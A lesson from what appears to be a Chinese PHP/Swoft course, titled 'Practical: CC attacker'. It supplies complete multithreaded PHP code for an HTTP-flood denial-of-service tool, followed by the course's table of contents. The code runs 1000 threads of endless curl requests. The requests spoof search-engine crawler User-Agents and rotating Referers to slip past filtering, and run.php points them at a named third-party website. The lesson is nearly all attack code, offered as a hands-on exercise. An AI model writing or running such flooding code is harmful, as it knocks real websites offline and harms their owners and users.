### 實戰:CC攻擊器
CC攻擊就是一種制造大量訪問導致對方服務器資源耗盡無法提供服務的一種手段,這里用簡單的方式實現,采用多線程+線程池+curl實現一個簡單的cc攻擊。
擴展下載地址:https://github.com/krakjoe/pthreads.git
#### cc.php
```php
<?php
class CC extends Thread{
// 要攻擊的url
private $url;
// 要攻擊的域名
private $host;
// user-agent
private $userAgent = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 MicroMessenger/5.2.380',
'Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider'
];
// 模擬請求來源
private $referers = array(
'https://www.baidu.com?k=',
'https://www.sogou.com?keyword=',
'https://www.so.com?keyword=',
'https://www.google.com?k=',
'https://m.baidu.com?keyword=',
'https://m.sogou.com?keyword=',
'https://m.so.com?key='
);
public function __construct($url)
{
$this->url = $url;
$this->parserUrl();
}
/**
* 解析host
*/
private function parserUrl()
{
$parser = parse_url($this->url);
$this->host = $parser['host'];
}
/**
* 獲取頭信息
* @return void
*/
private function getHeader(){
$referer = $this->referers[mt_rand(0,count($this->referers))];
$userAgent = $this->userAgent[mt_rand(0,count($this->userAgent))];
return [
'Host'=>$this->host,
'Referer'=>$referer,
'User-Agent'=>$userAgent,
'Accept'=>'text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8',
'Accept-Language'=>' en-US,en;q=0.5',
'Accept-Charset'=>'iso-8859-1',
'Accept-Encoding'=>'gzip',
'Connection'=>'Keep-Alive'
];
}
/**
* 實現訪問
*/
public function request()
{
$header = $this->getHeader();
$curl = curl_init();
// CURL頭信息設置
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_URL, $this->url);
curl_setopt($curl, CURLOPT_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($curl);
var_dump($res);
curl_close($curl);
}
public function run()
{
while(true){
$this->request();
sleep(0.3);
}
}
}
```
#### threadPool.php
```php
<?php
class ThreadPool{
public $pool = array();
private $url;
public function __construct($url,$count) {
$this->url = $url;
$this->count = $count;
}
public function push(){
if(count($this->pool) < $this->count){
$this->pool[] = new CC($this->url);
return true;
}else{
return false;
}
}
public function start(){
foreach ( $this->pool as $id => $worker){
$this->pool[$id]->start();
}
}
public function join(){
foreach ( $this->pool as $id => $worker){
$this->pool[$id]->join();
}
}
}
```
#### run.php
```php
<?php
require 'cc.php';
require 'threadPool.php';
$count = 1000;
$pool = new ThreadPool('http://www.vxwei.com/index.php',$count);
for($i=0;$i<$count;$i++){
$pool->push();
}
$pool->start();
$pool->join();
```
- 第一章:基礎知識
- 課程簡介
- PHP-FPM過渡常駐內存
- 進程
- 實戰:實現Master-Worker
- 線程
- 實戰:CC攻擊器
- 協程
- 實戰:實現waitGroup功能
- 進程、線程、協程的區別
- 第二章:初識Swoft2.0
- Swoft介紹
- Swoft環境安裝
- gcc升級
- 安裝Swoft框架
- 目錄結構介紹
- SwoftCli工具
- Swoft配置
- 第三章:Swoft2.0核心
- 上下文
- 常駐內存沒有上下文隔離
- 實戰:手寫swoole框架上下文管理
- Bean容器
- 實戰:根據容器原理實現容器
- 實戰:通過容器實現依賴注入
- Bean容器定義與使用
- 配置文件定義Bean
- 容器類型
- 面向接口的容器
- 注解
- 實戰:實現注解
- 自定義Swoft注解類
- 事件
- 連接池
- 實戰:Swoole實現連接池
- 第四章:Http服務器
- Http Server生命周期
- Http Server配置
- 控制器
- 路由
- 請求對象Request
- 響應對象Response
- Http異常處理
- 中間件
- 實戰:中間件實現JWT登陸授權
- 第五章:驗證器
- 內置驗證類型
- 驗證器的使用
- 自定義驗證器
- 第六章:數據庫操作
- 連接數據庫
- 實體模型
- 模型事件
- 查詢器
- 事務處理
- 連接池配置
- 讀寫分離
- 多數據庫切換
- Models分層結構
- 實戰:實現用戶CURD API
- 第七章:Redis
- 連接redis和使用
- Redis連接池
- Redis集群配置(單機版)
- Redis集群配置(多服務器)
- Redis連接集群
- Redis實戰:實現延時任務
- 第八章:AOP編程
- AOP概念
- AOP實現原理
- 實戰實現AOP:靜態代理
- 實戰實現AOP:動態代理
- 切面注解介紹
- PointExecution切面
- PointBean切面
- PointAnnotation切面
- 實戰:使用AOP實現日志記錄
- 第九章:任務處理
- 進程使用
- 進程池使用
- 實戰:進程消費隊列
- 實戰:進程實現RabbitMQ延時隊列
- 異步任務
- 協程任務
- 定時任務